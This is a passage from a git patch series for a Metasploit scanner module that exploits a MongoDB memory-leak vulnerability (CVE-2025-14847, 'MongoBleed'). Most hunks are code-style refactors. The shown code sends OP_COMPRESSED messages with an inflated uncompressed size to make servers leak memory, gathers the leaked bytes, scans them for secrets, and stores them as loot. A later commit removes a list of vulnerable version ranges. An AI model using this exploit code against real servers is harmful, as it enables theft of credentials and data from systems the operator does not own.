unique_leaks.add(data) + all_leaked << data + pass_leaks += 1 - unique_leaks.add(data) - all_leaked << data - pass_leaks += 1 + # Check for interesting patterns + check_secrets(data, doc_len, secrets_found) - # Check for interesting patterns - check_secrets(data, doc_len, secrets_found) + # Report large leaks or all if configured + next unless data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS'] - # Report large leaks or all if configured - if data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS'] - preview = data.gsub(/[^[:print:]]/, '.')[0, 80] - print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}") + preview = data.gsub(/[^[:print:]]/, '.')[0, 80] + print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}") - # Show hex dump if enabled - if datastore['SHOW_HEX'] && data.length > 0 - print_hexdump(data) - end - end + # Show hex dump if enabled + if datastore['SHOW_HEX'] && !data.empty? + print_hexdump(data) end - rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e - vprint_error("Connection error at offset #{doc_len}: #{e.message}") - next - rescue ::Timeout::Error - vprint_error("Timeout at offset #{doc_len}") - next end + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + vprint_error("Connection error at offset #{doc_len}: #{e.message}") + next + rescue ::Timeout::Error + vprint_error("Timeout at offset #{doc_len}") + next end # Pass summary @@ -422,7 +422,7 @@ def exploit_memory_leak(ip, version_info) end # Overall summary and loot storage - if all_leaked.length > 0 + if !all_leaked.empty? print_line print_good("Total leaked: #{all_leaked.length} bytes") print_good("Unique fragments: #{unique_leaks.size}") @@ -485,7 +485,7 @@ def send_probe(doc_len, buffer_size) # Build OP_COMPRESSED payload # originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData payload = [OP_MSG].pack('V') - payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated) + payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated) payload << [COMPRESSOR_ZLIB].pack('C') payload << compressed_data @@ -501,7 +501,11 @@ def send_probe(doc_len, buffer_size) sock.put(header + payload) response = recv_mongo_response ensure - disconnect rescue nil + begin + disconnect + rescue StandardError + nil + end end response @@ -567,7 +571,6 @@ def extract_leaks(response) type_byte = match[0].to_i & 0xFF leaks << type_byte.chr if type_byte > 0 end - rescue Zlib::Error => e vprint_error("Decompression error: #{e.message}") rescue StandardError => e From ece7649af5386a9459bfdd119974a6ab690ad961 Mon Sep 17 00:00:00 2001 From: Alex Hagenah Date: Tue, 30 Dec 2025 14:25:22 +0100 Subject: [PATCH 3/4] Update modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb Co-authored-by: Diego Ledda --- .../scanner/mongodb/cve_2025_14847_mongobleed.rb | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb index 1153134fa5a8d..26d8dc2bc55f6 100644 --- a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb +++ b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb @@ -78,20 +78,6 @@ def initialize(info = {}) OP_MSG = 2013 COMPRESSOR_ZLIB = 2 - # Vulnerable version ranges for CVE-2025-14847 (per MongoDB JIRA SERVER-115508) - # Format: [major.minor] => max_vulnerable_patch - # All patch versions <= max_vulnerable_patch are vulnerable - VULNERABLE_VERSIONS = { - '3.6' => 99, # 3.6.x - all versions vulnerable (EOL, no fix) - '4.0' => 99, # 4.0.x - all versions vulnerable (EOL, no fix) - '4.2' => 99, # 4.2.x - all versions vulnerable (EOL, no fix) - '4.4' => 29, # 4.4.0 - 4.4.29 vulnerable, 4.4.30 fixed - '5.0' => 31, # 5.0.0 - 5.0.31 vulnerable, 5.0.32 fixed - '6.0' => 26, # 6.0.0 - 6.0.26 vulnerable, 6.0.27 fixed - '7.0' => 27, # 7.0.0 - 7.0.27 vulnerable, 7.0.28 fixed - '8.0' => 16, # 8.0.0 - 8.0.16 vulnerable, 8.0.17 fixed - '8.2' => 2 # 8.2.0 - 8.2.2 vulnerable, 8.2.3 fixed - }.freeze def check_vulnerable_version(version_str) # Parse version for comparison From 3b3d4f238e01f4533904c6a318f15b0d470578f7 Mon Sep 17 00:00:00 2001 From: Alex Date: Tue, 30 Dec 2025 14:34:57 +0100 Subject: [PATCH 4/4] Update cve_2025_14847_mongobleed.rb --- modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb index 26d8dc2bc55f6..bef11c9e3e1ba 100644 --- a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb +++ b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb @@ -78,7 +78,6 @@ def initialize(info = {}) OP_MSG = 2013 COMPRESSOR_ZLIB = 2 - def check_vulnerable_version(version_str) # Parse version for comparison version_match = version_str.match(/^(\d+\.\d+\.\d+)/)